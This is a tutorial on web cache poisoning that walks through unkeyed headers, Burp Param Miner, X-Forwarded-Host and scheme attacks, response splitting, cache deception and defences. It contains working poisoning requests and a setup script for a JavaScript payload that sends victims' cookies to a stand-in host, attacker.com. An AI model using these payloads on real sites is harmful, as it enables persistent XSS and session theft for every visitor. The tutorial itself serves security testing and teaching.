Ethical Hacking #web-cache-poisoning#burp-suite#param-miner

Web Cache Poisoning: Attacks and Exploitation Guide

Learn web cache poisoning attacks: unkeyed headers, cache buster bypass, and exploiting vulnerabilities with Burp Suite Param Miner for real-world impact.

7 min read

Web Cache Poisoning: A Practical Exploitation Guide

Web cache poisoning is an attack technique where an adversary manipulates a caching layer to serve a malicious response to other users. Unlike most web attacks that target a single session, cache poisoning is a stored, persistent attack — a single request can affect every user who subsequently visits the poisoned URL until the cache is invalidated.

James Kettle at PortSwigger documented and popularized this attack class, and it has since been found in major CDN providers, popular web frameworks, and thousands of production applications.

Legal notice: Web cache poisoning testing must only be performed against applications you own or have explicit written permission to assess.

How Web Caches Work

Web caches (CDNs like Cloudflare, Fastly, Akamai; reverse proxies like Varnish and nginx) sit between users and the origin server. When a cacheable request arrives:

  1. The cache checks if it has a stored response for that request
  2. If yes, it serves the cached response without hitting the origin
  3. If no, it forwards to the origin, stores the response, and serves it

The cache identifies unique requests using a cache key — typically the URL and the Host header. Other request components (most headers, cookies) are usually unkeyed — ignored by the cache when matching but still potentially processed by the back-end.

The core vulnerability: If an unkeyed input influences the response content, an attacker can poison the cache with a malicious response that gets served to all subsequent users whose request matches the same cache key.

Identifying Cache Behavior

Step 1: Confirm Caching is Active

Look for caching indicator headers:

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
X-Cache: HIT                    # Varnish, Cloudflare
Age: 234                        # Seconds since cached
CF-Cache-Status: HIT            # Cloudflare specific
X-Varnish: 12345 67890          # Varnish hit shows two IDs

Send the same request twice. If the response time drops significantly and X-Cache: HIT appears on the second request, caching is active.

Step 2: Identify the Cache Key

The cache key is typically host + path + query string. Test by modifying parameters:

  • Change ?id=1 to ?id=2 — different cache key (cache miss expected)
  • Change the User-Agent header — same cache key (unkeyed) if response is identical

Step 3: Find a Cache Buster

To avoid poisoning production caches during testing, add a unique parameter to every request — one that creates a unique cache key for your test:

GET /page?cb=abc123 HTTP/1.1

As long as cb is not reflected in a meaningful way, it ensures your poison requests never hit the real cached responses. The Param Miner extension does this automatically.

Using Burp Suite Param Miner

Param Miner is the essential Burp extension for cache poisoning research. Install it from the BApp Store.

Discovering Unkeyed Inputs

  1. Right-click any request in Burp Proxy
  2. Select Extensions > Param Miner > Guess headers
  3. Param Miner sends hundreds of requests with different headers, watching for any that alter the response without changing the cache key

Common unkeyed headers Param Miner discovers:

HeaderNotes
X-Forwarded-HostOften used to construct absolute URLs
X-Forwarded-ForClient IP reflection
X-Original-URLPath override on some frameworks
X-Forwarded-SchemeHTTP/HTTPS redirection
X-HostSimilar to X-Forwarded-Host
X-Forwarded-ProtoScheme-based logic

Exploiting X-Forwarded-Host

This is the most common and impactful cache poisoning vector.

Finding the Reflection

Send a request with an unusual X-Forwarded-Host:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

If the response contains evil.com in a script src, link href, or redirect:

<script src="//evil.com/static/app.js"></script>

The application is using X-Forwarded-Host to construct URLs without validating it.

Poisoning the Cache

Now send the request without a cache buster, so it matches the real cache key:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

If the response is cached with attacker.com in the script src, every subsequent user who visits target.com/ will load JavaScript from your server — resulting in XSS for all visitors.

Setting Up the Malicious Server

# Simple Python HTTPS server to serve malicious JS
mkdir -p /tmp/malicious/static
cat > /tmp/malicious/static/app.js << 'EOF'
document.location = 'https://attacker.com/steal?c=' + document.cookie;
EOF
cd /tmp/malicious
python3 -m http.server 80

Exploiting X-Forwarded-Scheme

Some applications redirect HTTP to HTTPS based on this header:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
X-Forwarded-Host: attacker.com

If the application issues:

HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/

And this redirect is cached, all users visiting target.com/ get redirected to attacker.com — an open redirect poisoning attack.

Exploiting Unkeyed Query Parameters

Some caching configurations exclude specific query parameters from the cache key (UTM tracking parameters are a common example):

GET /?utm_source=test&callback=alert(1) HTTP/1.1

If utm_source is unkeyed (so ?utm_source=test and ?utm_source=other share the same cache entry) but callback is reflected in a JSONP response:

alert(1)({"user":"data"})

The poisoned response gets cached and delivered to all users whose requests match the base URL cache key.

Discovering Unkeyed Parameters with Param Miner

Extensions > Param Miner > Guess params (unkeyed)

Param Miner fuzzes query parameter names and watches for ones that affect the response without busting the cache.

Fat GET Requests

Some frameworks process query parameters from the request body even for GET requests:

GET /?param=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

param=injected_value

If the body parameter overrides the URL parameter and the URL is used as the cache key (not the body), the poisoned response is cached under the clean URL.

Cache Poisoning via HTTP Response Splitting

If user input is reflected verbatim in an HTTP response header, newline injection can terminate the current response and inject a second one:

GET /redirect?url=https://target.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0a...

Modern frameworks and CDNs usually prevent header injection, but legacy systems remain vulnerable.

Cache Deception vs. Cache Poisoning

These are often confused:

Cache PoisoningCache Deception
GoalMake cache serve attacker’s contentMake cache store victim’s private content
Who is harmedAll users visiting the URLThe specific victim
MethodInject malicious response headersTrick victim into visiting a cacheable URL
ExampleXSS via cached scriptCaching /account/settings as a static page

Cache deception: if target.com/account/settings.css is cached (because .css is treated as static) but serves the same private content as /account/settings, an attacker who visits the .css URL after the victim retrieves their private data.

Detecting Cache Poisoning Vulnerabilities at Scale

# Use nuclei with cache poisoning templates
nuclei -u https://target.com -t http/vulnerabilities/cache-poisoning/

# Manual Burp workflow
# 1. Enable Proxy logging
# 2. Browse the target
# 3. Run Param Miner on interesting requests
# 4. Investigate any unkeyed headers that alter responses

Defense Recommendations

DefenseImplementation
Cache only safe contentSet Vary header to include security-relevant headers
Validate X-Forwarded-* headersAllowlist trusted proxies; reject others
Use Cache-Control: no-storeOn responses containing user-controlled content
Strip unrecognized headersAt the CDN/edge layer before forwarding
Cache key normalizationEnsure equivalent requests produce equivalent keys
Content Security PolicyLimits impact of injected script sources

Summary

Web cache poisoning transforms a single manipulated request into a persistent attack affecting every user who visits a poisoned URL. The attack surface is defined by unkeyed inputs — headers and parameters that influence the response but are invisible to the cache key comparison. Burp Suite’s Param Miner extension makes discovering these inputs systematic. The most impactful vectors are X-Forwarded-Host injections that replace legitimate resource origins with attacker-controlled servers, effectively delivering persistent XSS to all site visitors.

#caching #web-security #param-miner #burp-suite #web-cache-poisoning